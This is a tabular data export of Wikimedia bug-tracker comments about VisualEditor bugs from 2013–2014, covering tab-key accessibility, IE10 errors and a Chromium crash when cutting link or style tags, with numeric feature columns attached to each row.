241498,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"Patch above should fix original bug. Issue of tabbing from surface to 'Save page' is also partly fixed, but because of DOM order you have to shift+tab. If we want to switch these round, please open a new bug.",,,1374673879,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,7.0,17.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,11.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,4.0,17.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.6956521739130435,0.8260869565217391,"Patch above should fix original bug. Issue of tabbing from surface to 'Save page' is also partly fixed, but because of DOM order you have to shift+tab. If we want to switch these round, please open a new bug."
241489,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"Change 75594 had a related patch set uploaded by Esanders:
Makes ButtonWidgets more accessible

https://gerrit.wikimedia.org/r/75594",,,1374673699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,5.222222222222222,1.0,"Change 75594 had a related patch set uploaded by Esanders:
Makes ButtonWidgets more accessible

GERRIT_URL"
241482,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"There seem to be two distinct requests:

* getting from the editing ""surface area"" to the edit summary input (with a tab key?)

* getting from the edit summary input to the save page or review changes buttons (with a tab key)",,,1374631796,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,13.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.576923076923077,0.6346153846153846,"There seem to be two distinct requests:

* getting from the editing ""surface area"" to the edit summary input (with a tab key?)

* getting from the edit summary input to the save page or review changes buttons (with a tab key)"
241476,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"From bug 50897 comment 2:

In the old editor, I would simply use TAB to reach the edit summary, type my
edit summary and press ENTER to activate the ""Save page"" button and save. If I
wanted to mark the edit minor, then I could type my edit summary, press TAB,
SPACE, and then ENTER to ""Save page"".

I can see that the new box for entering an edit summary allows newlines to be
entered. I am not sure this is a good idea, because I just used a WSYIWYG
editor and now ""What I see"" - well-formatted paragraphs describing my edit - is
not going to be ""what I get"" - everything smashed on one line in the article
history. But that is perhaps grist for another bug mill.

It seems that the ""Save page"" button never receives caret focus if I use TAB to
try to get there. This would seem to have accessibility ramifications.",,,1374631714,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.5,0.0,0.0,1.0,3.0,1.0,0.5,0.0,1.0,1.0,0.0,0.5,0.0,0.0,6.0,0.5,5.5,10.0,0.5,4.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,1.0,0.5,5.5,1.0,0.5,0.5,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,15.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,2.5,2.5,7.0,0.0,0.0,0.0,0.0,7.5,0.0,1.5,0.0,6.5,10.0,4.0,0.0,5.0,0.0,6.5,0.0,1.0,1.5,0.0,1.5,0.0,0.0,0.0,3.44177361666316,0.6465916263412581,"From bug 50897 comment 2:

In the old editor, I would simply use TAB to reach the edit summary, type my
edit summary and press ENTER to activate the ""Save page"" button and save. If I
wanted to mark the edit minor, then I could type my edit summary, press TAB,
SPACE, and then ENTER to ""Save page"".

I can see that the new box for entering an edit summary allows newlines to be
entered. I am not sure this is a good idea, because I just used a WSYIWYG
editor and now ""What I see"" - well-formatted paragraphs describing my edit - is
not going to be ""what I get"" - everything smashed on one line in the article
history. But that is perhaps grist for another bug mill.

It seems that the ""Save page"" button never receives caret focus if I use TAB to
try to get there. This would seem to have accessibility ramifications."
241471,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,*** Bug 51918 has been marked as a duplicate of this bug. ***,,,1374630794,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51918 has been marked as a duplicate of this bug. ***
241466,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,*** Bug 51913 has been marked as a duplicate of this bug. ***,,,1374624457,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51913 has been marked as a duplicate of this bug. ***
241462,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"It's not really an enhancement, since it is preventing proper accessibility. But so long as it is looked at and fixed, that's what really matters :)",,,1373244830,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.967741935483871,0.8387096774193549,"It's not really an enhancement, since it is preventing proper accessibility. But so long as it is looked at and fixed, that's what really matters :)"
241455,VisualEditor: Dialog/flyout buttons cannot be activated with Tab key,"attr( { role: 'button', tabIndex: 0 } ) and add return keypress events to all of them.

Also dialogs should have role = dialog and buttons that pop up dialogs should have  aria-haspopup",,,1373229137,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-jxas3inmlw4l4tcg6zyx,task_subcomment,,True,c1,3,True,,,0,,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,9.0,7.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.5,0.8409090909090909,"attr( { role: 'button', tabIndex: 0 } ) and add return keypress events to all of them.

Also dialogs should have role = dialog and buttons that pop up dialogs should have  aria-haspopup"
52045,VisualEditor: Right-click in IE10 causes deletion of the selected content,"

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371982260,1409959799.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-batdg3q5jwk7z4eeddgg,task_description,declined,True,c1,2,False,False,False,-2,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
241353,VisualEditor: Right-click in IE10 causes deletion of the selected content,Totally conceivable that we fixed this in the past 15 months with the thousands of other changes (3683 since this point by my count). Marking as WORKSFORME.,,,1409959799,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-batdg3q5jwk7z4eeddgg,task_subcomment,,True,c1,3,True,,,61,,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,23.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,6.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,23.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.193548387096774,0.9032258064516129,Totally conceivable that we fixed this in the past 15 months with the thousands of other changes (3683 since this point by my count). Marking as WORKSFORME.
241347,VisualEditor: Right-click in IE10 causes deletion of the selected content,I can't reproduce this in IE10.,,,1409958482,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-batdg3q5jwk7z4eeddgg,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,I can't reproduce this in IE10.
241341,VisualEditor: Right-click in IE10 causes deletion of the selected content,"(In reply to This, that and the other (TTO) from comment #2)
> Does not occur in IE11. Has an official decision been made on whether to
> support IE <= 10?

The ambition is to support IE9 and up; IE10 doesn't add much compared to IE9, but is probably a necessary stepping-stone. If it turns out to be too much work, we'll abandon efforts, but for now, yes, this is on the worklist.",,,1409441520,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-batdg3q5jwk7z4eeddgg,task_subcomment,,True,c1,3,True,,,60,,3.0,0.0,0.0,0.0,1.0,5.0,5.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,13.0,1.0,5.0,8.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,3.0,14.0,5.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.1948051948051948,0.7402597402597403,"(In reply to This, that and the other (TTO) from comment #2)
QUOTE
QUOTE

The ambition is to support IE9 and up; IE10 doesn't add much compared to IE9, but is probably a necessary stepping-stone. If it turns out to be too much work, we'll abandon efforts, but for now, yes, this is on the worklist."
241335,VisualEditor: Right-click in IE10 causes deletion of the selected content,Does not occur in IE11. Has an official decision been made on whether to support IE <= 10?,,,1409383011,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-batdg3q5jwk7z4eeddgg,task_subcomment,,True,c1,3,False,,,60,,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,19.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,3.4761904761904763,1.0,Does not occur in IE11. Has an official decision been made on whether to support IE <= 10?
241330,VisualEditor: Right-click in IE10 causes deletion of the selected content,(Does this also apply to the first comment here? :) ),,,1377104512,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-batdg3q5jwk7z4eeddgg,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,1.0,(Does this also apply to the first comment here? :) )
52044,VisualEditor: Transclusion editor broken in IE10 (stack overflow),"In IE10, any attempt to open the transclusion editor leads to a stack overflow. 

In the dev console I get this:

--- 
SCRIPT28: Out of stack space 
load.php, line 46 character 700 [this location is different every time]

SCRIPT5: Access is denied.
load.php, line 305 character 273

SCRIPT5: Access is denied.
load.php, line 305 character 273

SCRIPT5: Access is denied.
load.php, line 305 character 273 
[... ad infinitum]

SCRIPT2343: Stack overflow at line: 46 [different every time]

SCRIPT5: Access is denied.
load.php, line 305 character 273
---

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371982020,1409958003.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-2go6ew7f46vsl6ngyy7w,task_description,resolved,True,c1,2,False,False,False,-2,,1.5,0.0,0.0,2.5,0.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,21.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,3.0,10.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.5,0.0,7.5,0.0,0.5,3.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,5.0,3.7795852359208526,0.5443302891933028,"In IE10, any attempt to open the transclusion editor leads to a stack overflow. 

In the dev console I get this:

--- 
SCRIPT28: Out of stack space 
load.php, line 46 character 700 [this location is different every time]

SCRIPT5: Access is denied.
load.php, line 305 character 273

SCRIPT5: Access is denied.
load.php, line 305 character 273

SCRIPT5: Access is denied.
load.php, line 305 character 273 
[... ad infinitum]

SCRIPT2343: Stack overflow at line: 46 [different every time]

SCRIPT5: Access is denied.
load.php, line 305 character 273
---

--------------------------
**Version**: unspecified
**Severity**: normal"
241294,VisualEditor: Transclusion editor broken in IE10 (stack overflow),This doesn't happen in IE10 with master.,,,1409958003,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2go6ew7f46vsl6ngyy7w,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,1.0,This doesn't happen in IE10 with master.
52043,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"1. Use Chrome 27 to edit [[Pancytopenia#External links]] in VE
2. Try to cut the {{Commons category}} template (using Ctrl+X/Cmd+X or right click/Cut)

The browser tab crashes.

Seen on Windows and Mac.

No idea how to find any debugging info about the crash.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1371979920,1377632908.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-6doqtsezbhohs5na7asr,task_description,resolved,True,c1,2,False,False,True,-2,,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,19.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,5.0,3.4761904761904763,0.7023809523809523,"1. Use Chrome 27 to edit [[Pancytopenia#External links]] in VE
2. Try to cut the {{Commons category}} template (using Ctrl+X/Cmd+X or right click/Cut)

The browser tab crashes.

Seen on Windows and Mac.

No idea how to find any debugging info about the crash.

--------------------------
**Version**: unspecified
**Severity**: major"
241263,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,Fixed in master; will be deployed on Thursday as part of the regular push.,,,1377632908,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,1.0,Fixed in master; will be deployed on Thursday as part of the regular push.
241256,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"Change 81280 merged by jenkins-bot:
Don't render <meta>/<link>/<style> tags in GeneratedContentNode

https://gerrit.wikimedia.org/r/81280",,,1377628116,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.1,1.0,"Change 81280 merged by jenkins-bot:
Don't render <meta>/<link>/<style> tags in GeneratedContentNode

GERRIT_URL"
241247,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"Change 81280 had a related patch set uploaded by Catrope:
Don't render <meta>/<link>/<style> tags in GeneratedContentNode

https://gerrit.wikimedia.org/r/81280",,,1377627560,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,5.173913043478261,1.0,"Change 81280 had a related patch set uploaded by Catrope:
Don't render <meta>/<link>/<style> tags in GeneratedContentNode

GERRIT_URL"
241240,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"Since <link> and <style> don't render in a useful way in the DOM (if they would ever be in wikitext, they'd be exported to VE as generated content or some other special thing that we can visualise and edit through an inspector or dialog)..

It is fixed in Chromium 30.

Updated summary to mention Chromium, not Chrome. This is likely affecting Opera 15 as well, for example.

Since we don't want to 2 weeks for this to land in stable, and we can safely strip these out before we render them in CE in the first place, let's do that.",,,1375420043,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,0.5,0.0,0.0,1.0,2.0,3.0,0.5,0.0,0.0,0.5,6.0,2.0,0.0,0.0,0.0,3.0,0.0,6.0,13.5,0.0,1.5,0.0,1.5,0.0,0.0,0.5,0.0,0.0,1.5,1.0,0.0,3.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,8.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.5,0.0,0.0,0.5,0.0,0.0,2.5,2.5,8.0,2.0,3.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,6.0,13.5,4.5,0.0,0.0,0.0,6.0,0.0,0.5,1.0,1.0,1.0,0.0,0.0,1.0,3.53648863035431,0.8126652564780539,"Since <link> and <style> don't render in a useful way in the DOM (if they would ever be in wikitext, they'd be exported to VE as generated content or some other special thing that we can visualise and edit through an inspector or dialog)..

It is fixed in Chromium 30.

Updated summary to mention Chromium, not Chrome. This is likely affecting Opera 15 as well, for example.

Since we don't want to 2 weeks for this to land in stable, and we can safely strip these out before we render them in CE in the first place, let's do that."
241235,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I think this is the patch that fixed it in Chrome 30:

https://codereview.chromium.org/14995014
https://trac.webkit.org/changeset/150402

Which would mean that this is the upstream bug: 

http://code.google.com/p/chromium/issues/detail?id=177470
https://bugs.webkit.org/show_bug.cgi?id=116479",,,1375417683,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,6.0,22.0,3.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,6.0,9.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.15625,0.65625,"I think this is the patch that fixed it in Chrome 30:

URL
URL

Which would mean that this is the upstream bug: 

URL
URL"
241229,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"(In reply to comment #13)
